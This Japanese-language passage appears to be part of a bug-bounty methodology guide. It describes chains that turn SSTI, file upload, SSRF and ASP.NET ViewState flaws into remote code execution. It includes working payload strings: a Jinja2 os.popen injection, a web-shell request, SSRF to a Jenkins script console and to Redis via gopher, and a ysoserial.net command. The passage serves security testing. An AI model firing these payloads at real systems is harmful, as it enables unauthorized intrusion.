hunt-ssti—eval()/exec()/os.system()を呼び出すテンプレートエンジンでは、レンダリング呼び出しの背後に RCE が隠れている可能性があります。チェーンの例:Jinja2 の{{config.__class__.__init__.__globals__['os'].popen('id').read()}}がメールテンプレートのプレビューに反映される → ワーカープロセスとして認証なしで RCE。hunt-file-upload— ファイル書き込みのプリミティブは、アップロードディレクトリが Web 経由で提供される場合、デシリアライザーで処理される場合、または.htaccess/web.configによって読み込まれる場合に RCE につながります。チェーンの例:SVG/PHP のポリグロットで MIME チェックを回避 →GET /uploads/shell.php?cmd=idに直接アクセス → RCE。または、phar://ストリームラッパーを使った DOCX → PHP オブジェクトのデシリアライズ → RCE。hunt-ssrf— RCE のプリミティブが内部専用エンドポイント(管理コンソール、内部 Redis、Jenkins のスクリプトコンソールなど)にある場合は、SSRF を介して到達します。チェーンの例:外部からの SSRF →http://127.0.0.1:8080/manage/scriptText(Jenkins/Tomcat)→ Groovy のRuntime.exec→ RCE。または SSRF →gopher://redis:6379で crontab に書き込み → RCE。hunt-aspnet— ASP.NET ViewState のデシリアライズは、既知の__VIEWSTATEパラメーターの背後にある巨大な RCE クラスです。チェーンの例:machineKey の復元(またはweb.configの情報漏えいで<machineKey>を入手)→ysoserial.net -p ViewState -g TypeConfuseDelegate→IIS APPPOOL\<name>として RCE。security-arsenal— シリアライズされたバイト列を受け付けるシンクが見つかったら、デシリアライズ用ペイロードツリー(ysoserial の Java ガジェットチェーン、.NET ViewState/BinaryFormatter 用の ysoserial.net、Python pickle の__reduce__、Ruby Marshal、PHPphar://メタデータ、Nodenode-serializeIIFE)をすぐに参照してください。triage-validation— Critical と報告する前に、Pre-Severity Gate を適用してください。実際には実行経路のないファイル書き込みだけだった「ブラインド RCE」は RCE ではありません。また、osにアクセスできないサンドボックス化された eval は、よくても Medium の SSTI です。レポートを書く前に、一意のマーカーを使ってwhoamiまたは OOB DNS コールバックを確認してください。